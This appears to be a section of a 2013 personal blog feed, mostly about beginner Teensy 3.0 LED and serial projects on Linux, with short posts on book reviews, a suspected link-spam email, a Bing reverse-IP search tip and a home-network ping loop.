  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  /////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off
  
  //////////////////////// 8
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off
  
  //////////////////////// 7
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 6
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 5
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 4
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 3
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 2
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 1
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off

  //////////////////////// 0
  //digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  delay(500);
  digitalWrite(ledPinSeg1DOT, LOW);    // set the LED off
  digitalWrite(ledPinSeg2, LOW);    // set the LED off
  digitalWrite(ledPinSeg3, LOW);    // set the LED off
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  digitalWrite(ledPinSeg5, LOW);    // set the LED off
  digitalWrite(ledPinSeg6, LOW);    // set the LED off
  digitalWrite(ledPinSeg7, LOW);    // set the LED off
  digitalWrite(ledPinSeg8, LOW);    // set the LED off
  //////////////////////// .
  digitalWrite(ledPinSeg1DOT, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg2, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg3, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg5, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg6, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg7, HIGH);   // set the LED on
  //digitalWrite(ledPinSeg8, HIGH);   // set the LED on
  ////////////////////////
  
  delay(2500);

  // Track animation
  for (int i=0;i<10;i++) {
    digitalWrite(ledPinSeg5, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg5, LOW);    // set the LED off
    digitalWrite(ledPinSeg3, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg3, LOW);    // set the LED off
    digitalWrite(ledPinSeg2, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg2, LOW);    // set the LED off
    digitalWrite(ledPinSeg7, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg7, LOW);    // set the LED off
    digitalWrite(ledPinSeg8, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg8, LOW);    // set the LED off
    digitalWrite(ledPinSeg6, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg6, LOW);    // set the LED off
  }
  
  digitalWrite(ledPinSeg4, HIGH);   // set the LED on
  delay(100);
  digitalWrite(ledPinSeg4, LOW);    // set the LED off
  
  // "Dance" animation
  for (int i=0;i<15;i++) {
    digitalWrite(ledPinSeg2, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg2, LOW);    // set the LED off
    digitalWrite(ledPinSeg4, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg4, LOW);    // set the LED off
    digitalWrite(ledPinSeg6, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg6, LOW);    // set the LED off
    digitalWrite(ledPinSeg3, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg3, LOW);    // set the LED off
    digitalWrite(ledPinSeg8, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg8, LOW);    // set the LED off
    digitalWrite(ledPinSeg7, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg7, LOW);    // set the LED off
    digitalWrite(ledPinSeg5, HIGH);   // set the LED on
    delay(100);
    digitalWrite(ledPinSeg5, LOW);    // set the LED off
  }
  delay(2500);
  count++;
  Serial.println(count,DEC);
}</code>
</description>
</item>
<item>
<title>Teensy 3.0 LED basics</title>
<pubDate>Sun, 06 Oct 2013 10:51:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2013.html#061020131051</link>
<description>
Many MANY years ago I did work with circuit boards, LEDs, <a href="http://en.wikipedia.org/wiki/Ohm%27s_law">Ohms law</a> etc at college. From what I remembered, circuits had to be properly set to get exacting volts, amps, watts. No something uneducated hobbyist could ever hope to do without a lot of time and patience.
So I thought it would be for me and the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> if I could not calculate the exact resistor values then nothing would work.

I found some notes regarding powering LEDs from 5v sources that a 200-300ohm resistor was all that was needed, no need to be exact and then I came across this...

<a href="http://sylviashow.com/episodes/s1/e3/full/arduino">The Sylvia Show (Episode 3 Arduino</a> a YouTube channel featuring a young hackerette. This particular episode was looking at what you can do with the Arduino and shows and LED powered with NO RESISTORS Shock Horror!

Turns out that LEDs will source all the current available and fail if the current draw is too high (that would be bad) but that at the low digital pin output voltages of 3.3-5v of an Arduino/Teensy that current pull is not so high as to cause and explosion but instead would light the LED (although brighter than "normal").
Another nice thing is if you put the LED in the wrong way around you do not permanently damage it, it just does not light and the circuit is not complete. Diodes (the D in LED) only allow current to flow in one direction.

This little girl got me to try this on my Teensy and it works, just connect the GND to the cathode and pin 13 to the anode and the LED flashes along with the LED on the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a>.

After finding some 180Ohm resistors I tried hooking up a block of three LEDs. In this photo the short white leads are connecting each LED's cathode to Ground and each resistor connects to the anodes.
<img src="images/teensy_3xled_block.jpg" alt="Teensy 3.0 power three LEDs" />
The wires are connected to the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> by just bending them and hoping they do not fall off. I REALLY should have ordered the <a href="http://www.pjrc.com/store/teensy3_pins.html">Teensy 3.0 with Pins</a>.
  
<code>// Teensy 3.0 has the LED on pin 13
const int ledPin1 = 13;
const int ledPin2 = 14;
const int ledPin3 = 15;

// the setup() method runs once, when the sketch starts

void setup() {
  // initialise the digital pins as an output.
  pinMode(ledPin1, OUTPUT);
  pinMode(ledPin2, OUTPUT);
  pinMode(ledPin3, OUTPUT);
  Serial.begin(38400);
  Serial.println("Pins initialised");
}

// the loop() method runs over and over again,
// as long as the board has power

void loop() {
  digitalWrite(ledPin1, HIGH);   // set the LED on
  delay(200);                 
  digitalWrite(ledPin1, LOW);    // set the LED off

  digitalWrite(ledPin2, HIGH);   // set the LED on
  delay(200);                 
  digitalWrite(ledPin2, LOW);    // set the LED off

  digitalWrite(ledPin3, HIGH);   // set the LED on
  delay(200);                 
  digitalWrite(ledPin3, LOW);    // set the LED off

  digitalWrite(ledPin2, HIGH);   // set the LED on
  delay(200);                 
  digitalWrite(ledPin2, LOW);    // set the LED off
  Serial.println("Repeating sequence");
}</code>
Made the LEDs turn on and off in sequence creating a <a href="http://en.wikipedia.org/wiki/Cylon_%281978%29">cylon</a>/<a href="http://en.wikipedia.org/wiki/KITT">KITT</a> animation.
The kids were suitably impressed with this but demanded more, so I swapped out the 3xLED block for a Red, an Orange and a Green LED and changed the code to produce a traffic light sequence including the Red+Orange when the lights are about to go Green.
<code>// Teensy 3.0 has the LED on pin 13
const int RedLedPin = 13;
const int OrangeLedPin = 14;
const int GreenLedPin = 15;

// the setup() method runs once, when the sketch starts

void setup() {
  // initialise the digital pins as an output.
  pinMode(RedLedPin, OUTPUT);
  pinMode(OrangeLedPin, OUTPUT);
  pinMode(GreenLedPin, OUTPUT);
  Serial.begin(38400);
  Serial.println("Pins initialised");
}

// the loop() method runs over and over again,
// as long as the board has power

void loop() {
  digitalWrite(RedLedPin, HIGH);   // set the LED on
  delay(4000);                  
  digitalWrite(OrangeLedPin, HIGH);   // set the LED on
  delay(500);   
  digitalWrite(OrangeLedPin, LOW);    // set the LED off
  digitalWrite(GreenLedPin, HIGH);   // set the LED on
  delay(4000);                  
  digitalWrite(GreenLedPin, LOW);    // set the LED off
  digitalWrite(OrangeLedPin, HIGH);   // set the LED on
  delay(500);   
  digitalWrite(OrangeLedPin, LOW);    // set the LED off
  Serial.println("Repeat sequence");
}
</code>

Amazing how easy this is!
</description>
</item>
<item>
<title>Teensy comms what could be easier</title>
<pubDate>Mon, 16 Sep 2013 22:46:13 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2013.html#160920132246</link>
<description>
Continued from <a href="http://www.jumpstation.co.uk/flog/Sep2013.html#160920132210">Teensy dev on gentoo linux really is this easy</a>

Next step comms, else I am running blind and as my electronics knowledge/skill has "issues" that would be bad!

Documentation shows that getting data from the <a href="http://www.pjrc.com/store/teensy3.html">Teensy 3.0</a> is really easy. Just set up the port and start writing to it! open the serial monitor from inside <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> and listen.
<code>// Teensy 3.0 has the LED on pin 13 **THAT'S PIN 13 !! NOT 11 or 12 PIN 13! ARE YOU LISTENING?!
const int ledPin = 13;

void setup() {
  // initialise the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  Serial.begin(38400);
  Serial.println("It begins");
}

void loop() {
  Serial.println("and ...");
  digitalWrite(ledPin, HIGH);   // set the LED on
  delay(1000);                  // wait for a second
  digitalWrite(ledPin, LOW);    // set the LED off
  delay(500);                   // wait for a second
}
</code>
But nothing is ever easy and that did not work. Seems the serial monitor is not available ...

Google,Google,Google ...

Add user to tty and uucp groups
<code>gpasswd -a YOUR_USERNAME tty
gpasswd -a YOUR_USERNAME uucp</code>

Woo hoo! we have serial monitor but ... nothing is output.

Google,Google,Google ...

Add the following to the kernel. About time I rebuilt my kernel ...
(I have a funny story about rebuilding this particular kernel but it can wait for now)

<code>Device Drivers  --->
    [*] USB support ---> 
    	<*> USB Serial Converter support --->
    		<*> USB FTDI Single Port Serial Driver

Device Drivers  --->
    [*] USB support ---> 
	    <*> USB Modem (CDC ACM) support</code>

Now the default in <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> was /dev/ttyS0 which seemed very reasonable. WRONG!
The correct serial port was /dev/ttyACM0 which I could select from the Tools/Serial Port: menu.

Opened the Serial Monitor and uploaded the code to the <a href="http://www.pjrc.com/store/teensy3.html">Teensy 3.0</a> and ... The serial monitor closed itself, but upon re-opening it manually there were my messages every time the flash cycle repeated! 

I just need to find the "Keep Serial Monitor Open" or "Open Serial Monitor when deploying code" option. None exists and appears to be a major bug bear to many people. Although you can fix this in the open source <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> its not going to fixed in the release version due to cross platform compatibility.

OK OK. So, how else can we get the data from the Arduino?

<code>screen /dev/ttyACM0 38400</code>
worked (CTRL+a :quit) but lost connection if I uploaded new code to the <a href="http://www.pjrc.com/store/teensy3.html">Teensy 3.0</a>

Screen was too slow to use in a loop
<code>for i in {1..10}; do echo $i;screen /dev/ttyACM0 38400; done</code>
Some kind of timeout meaning it was easier to manually kill it and start a new instance.

so I wrote my own (bad) python(v3) script<code>
import serial

def listen():
	ser = serial.Serial('/dev/ttyACM0', 38400)
	while True:
		print(ser.readline())

while True:
	try:
		listen()
	except Exception as e:
		print("error captured: " + str(e))
</code>
(needs pySerial library installed)

But even that did not capture the first message.

<code class="output">error captured: could not open port /dev/ttyACM0: [Errno 2] No such file or directory: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 2] No such file or directory: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 2] No such file or directory: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 2] No such file or directory: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 13] Permission denied: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 13] Permission denied: '/dev/ttyACM0'
error captured: could not open port /dev/ttyACM0: [Errno 13] Permission denied: '/dev/ttyACM0'
b'and ...\r\n'
b'and ...\r\n'
b'and ...\r\n'
b'and ...\r\n'
</code>
(error messages truncated for brevity)

So there is no way to make sure you get the first messages. Not a problem, just another lesson learned speaking of which I REALLY should have ordered the <a href="http://www.pjrc.com/store/teensy3_pins.html">Teensy 3.0 with Pins</a>
</description>
</item>
<item>
<title>Teensy dev on gentoo linux really is this easy</title>
<pubDate>Mon, 16 Sep 2013 22:10:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2013.html#160920132210</link>
<description>
Continued from <a href="http://www.jumpstation.co.uk/flog/Sep2013.html#160920132157">Teensy, it begins in windows</a>

Now to get the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> working in linux.

I downloaded the <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> software for linux and unpacked it then ran <a href="http://www.pjrc.com/teensy/td_download.html">Teensyduino</a> and selected the Arduino folder. The gentoo emerge arduino version did not work (and is noted on the <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> website, my bad.

Then (as root) copied the <a href="http://www.pjrc.com/teensy/49-teensy.rules">udev rules file</a> to /etc/udev/rules.d/
Moment of truth, plugged <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> in ...
<code>dmesg</code>
<code class="output">usb 2-6: udev 8, busnum 2, minor = 135
usb 2-6: New USB device found, idVendor=16c0, idProduct=0483
usb 2-6: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 2-6: Product: USB Serial
usb 2-6: Manufacturer: Teensyduino
usb 2-6: SerialNumber: 10138
usb 2-6: usb_probe_device
usb 2-6: configuration #1 chosen from 1 choice
usb 2-6: adding 2-6:1.0 (config #1, interface 0)
usb 2-6: adding 2-6:1.1 (config #1, interface 1)
</code> and the blink code from windows was running without having to press the button.

Ran <a href="http://www.arduino.cc/en/Main/Software">Arduino</a>, selected the board as <a href="http://www.pjrc.com/store/teensy3.html">Teensy 3.0</a> loaded the Blink example under Tutorial 1 and ...
<code class="output">
Opening Teensy Loader...
Unable find Teensy Loader.  Is the Teensy Loader application running?</code>
hmmmm
Seems I need to manually start the teensy app.<code>./teensy</code>
<code class="output">./teensy: error while loading shared libraries: libpng12.so.0: cannot open shared object file: No such file or directory</code>
Oh great!
<code>emerge libpng:1.2</code>
And its running !!
And I managed to upload the default Blink sketch code targeting an older board *AGAIN* so sat looking at a non blinking <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a>. Followed my own advice and *READ* the comments, updated the pin number for the LED to 13 and away we go!
This is great, I was really worried that linux based development just would not be possible especially with gentoo after the notes at <a href="http://www.pjrc.com/teensy/td_download.html#linux_issues">Teensy</a>.
Stage one of my plan to overthrow all the worlds governments is complete only 64,599 steps to GO!

FYI, future uses of <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> automatically started the Teensy Loader auto-magically.
</description>
</item>
<item>
<title>Teensy, it begins in windows</title>
<pubDate>Mon, 16 Sep 2013 21:57:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2013.html#160920132157</link>
<description>
Earlier in the year I purchased a <a href="http://www.pjrc.com/store/teensy3.html">Teensy 3.0</a> a tiny (really small) micro-controller board. The truly amazing thing about the <a href="http://www.pjrc.com/teensy/">Teensy</a> is not the size but the price. Just $19, but having it shipped to the UK was another $10 but that's still less than &pound;20!

Talking of size, this thing is just 1.4 by 0.7 Inches which is 35.56mm x 17.78mm 

<img alt="size comparison of the Teensy 3.0 and an SD card, wifi dongle, 2 pence piece and 3 pencils. Top view" src="images/teensy_size_comp_top.jpg" />
<img alt="size comparison of the Teensy 3.0 and an SD card, wifi dongle, 2 pence piece and 3 pencils. Side view" src="images/teensy_size_comp_side.jpg" />

So that's not even as wide as three standard HB pencils and conversely not as long as the width of six standard HB pencils. 

There is some somewhat confusing documentation, but to get it working out of the box (it came in an anti-static bag) just plugin it in to a USB micro B cable(not supplied, these come with every non apple mobile phone) and connect a power source (i.e. a computers USB socket). The board will the blink and that blinking is the code that is pre-loaded onto the system.

I wanted to get something slightly more interesting on the board and to do it from Linux but the system was busy and I had a Windows laptop lying idle.
To get your own code onto the <a href="http://www.pjrc.com/teensy/">Teensy</a> you need the open source <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> software, which you just extract from a zip and then install the <a href="http://www.pjrc.com/teensy/td_download.html">Teensyduino</a>. This process is simple, just point at the folder where the <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> files were extracted and it will do its thing. I had to run as Administrator to get it to install a virtual COM port.

Then run <a href="http://www.arduino.cc/en/Main/Software">Arduino</a> select the board as Teensy 3.0 (tools menu) and load one of the examples (File/Examples/Teensy). The Tutorial section of the Examples has (unsurprisingly) a Blink file, but running this produced no blinking! A quick glance at the comments at the top the file reveal that the hardware address for the LED is different for each version of the <a href="http://www.pjrc.com/teensy/">Teensy</a>. Updating it from 11 to 13 and running again got me my blink back.

The Blink code is; a simple setup; loop forever; with delays turning on and off the LED. I changed the first delay from 1000 to 3000 and now the board blinks on for three seconds and the waits just one second while the LED is off and then turning back on for three seconds ad infinitium.

But what I really want is to continue <a href="http://www.pjrc.com/store/teensy3.html">Teensy</a> development in linux ...
</description>
</item>
<item>
<title>bing has secret powers to reverse ip domain hosting</title>
<pubDate>Sat, 07 Sep 2013 16:03:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2013.html#070920131603</link>
<description>
Found this blog post about <a href="http://blog.opensecurityresearch.com/2013/01/attributing-potentially-malicious-urls.html">Attributing Potentially Malicious URLs</a> and picked up a tip that I thought was impossible.
Using <a href="http://www.bing.com">bing.com</a> with the query <code>ip:82.165.83.145</code> where 82.165.83.145 is the server hosting <a href="http://www.jumpstation.co.uk">www.jumpstation.co.uk</a>. The search results will be ALL the domains hosted on that IP address.
Wonder how they do it ?!
</description>
</item>
<item>
<title>Trojan horse for for your bookshelf</title>
<pubDate>Fri, 23 Aug 2013 21:51:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2013.html#230820132151</link>
<description>
I heard about Mark Russinovich's "Trojan Horse" from the 
<a href="http://www.hanselminutes.com/330/zero-day-and-trojan-horse-an-interview-with-mark-russinovich">Hanselminutes podcast</a> and was intrigued.
Although the lead characters had a sizable history from his previous book "Zero day" the story was easy to get into and enjoy.
I especially liked the news articles from faux events and investigations that mirrored the technical side of the story arc. Being interested in this sort of <a href="slashdot.org">news</a> I was already aware of what was possible but this makes the actualities much more tangible to a less tech savvy audience.
Overall this was a good book, nothing amazing, but I will seek out "Zero day" and anything else he writes in a similar vein.
Note to self: write book reviews shortly after reading them, not three-six months later.
</description>
</item>
<item>
<title>Readme Read Reamde read Neal Stephenson</title>
<pubDate>Fri, 23 Aug 2013 21:09:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2013.html#230820132109</link>
<description>
"reamde", possibly the misspelling of "readme"; this is the name of a virus/worm that affects the players of <a href="/flog/tags.html?tag=nealstephenson">Neal Stephenson's</a> T'Rain online MMPORPG. 
It is also the name of the book of over 1000 pages and almost two and half inches think. I hate to think what the weight is but this is the reason I need a kindle!
Having 1000+ pages to evolve over, there are many complex characters with equally complex interactions. The T'Rain online world never feels like a gimmick and instead glues the various characters lives and lifestyles together.
It is difficult to say much about the plot without spoiling it so I will just say that if you like Neal Stephenson's other works you will almost certainly find this another well written,engaging and entertaining experience.
</description>
</item>
<item>
<title>Just a quick note NAME is no longer active</title>
<pubDate>Sun, 18 Aug 2013 23:10:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2013.html#180820132310</link>
<description>
I have had email address on this domain since before the <a href="/flog/flog.html">flog</a> even existed so I get my fair share of spam, most of which is successfully filtered.

Today I go the following
<code>From: Lurie Austinser <lurieaustin1@hotmail.com>
To: <***@jumpstation.co.uk>
Subject: Updating broken link from your page: jumpstation.co.uk/flog/apr2002.html
Date: Sun, 18 Aug 2013 15:11:50 +0200
Reply-To: <lurieaustin1@hotmail.com>
X-Mailer: Microsoft Office Outlook 12.0

Hello, 

I have bumped into your site while seeking for software and found your
website very interesting :) 

Just a quick note, www.linux-firewall-tools.com/ is no longer active,
and you are linking to it from page -
jumpstation.co.uk/flog/apr2002.html

I was wondering if you don't mind updating the link to the updated website
en.DownloadAstro.com (en.downloadastro.com/)  - A great download site
with more than 300K software and games, including professional reviews and
user ratings.

We are now in a process of updating the links in websites all around the
world and I will appreciate your cooperation. 

I am sure your users will find it useful. 

Thanks, 
Lurie</code>

There is the url from my site and url that(without checking) appears to be one I would have added. It also appears to one that might have died out over the years.
Googling the replacement domain does not set any red flags, only a yellow one that is it is a software download site &lt;cough&gt;twocows&lt;cough&gt;.
To be fair this could be legit but, my guess is it is a broad spread attempt to get gullible web masters to blindly update links and boost their Google juice, Google loves links.
Needless to say my policy with <a href="/flog/flog.html">flog</a> is not to update old posts, which is why so many still have spelling and other silly mistakes all over them.
</description>
</item>
<item>
<title>Failure is lack of failure</title>
<pubDate>Sun, 18 Aug 2013 22:39:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2013.html#180820132239</link>
<description>
PI stopped responding in one of my ssh windows and I was very close to unplugging the power, when I saw the ethernet light blink. So I tried unplugging the ethernet cable instead.
That resulted in <code class="output">Write failed: Broken pipe</code> so I plugged the LAN cable back in.

Time to power up my drop in replacement for <a href="http://nmap.org">nmap</a><code>for i in {1..255}; do ping 192.168.1.$i -W 1 -c 1 >/dev/null&&echo 192.168.1.$i; done</code>.

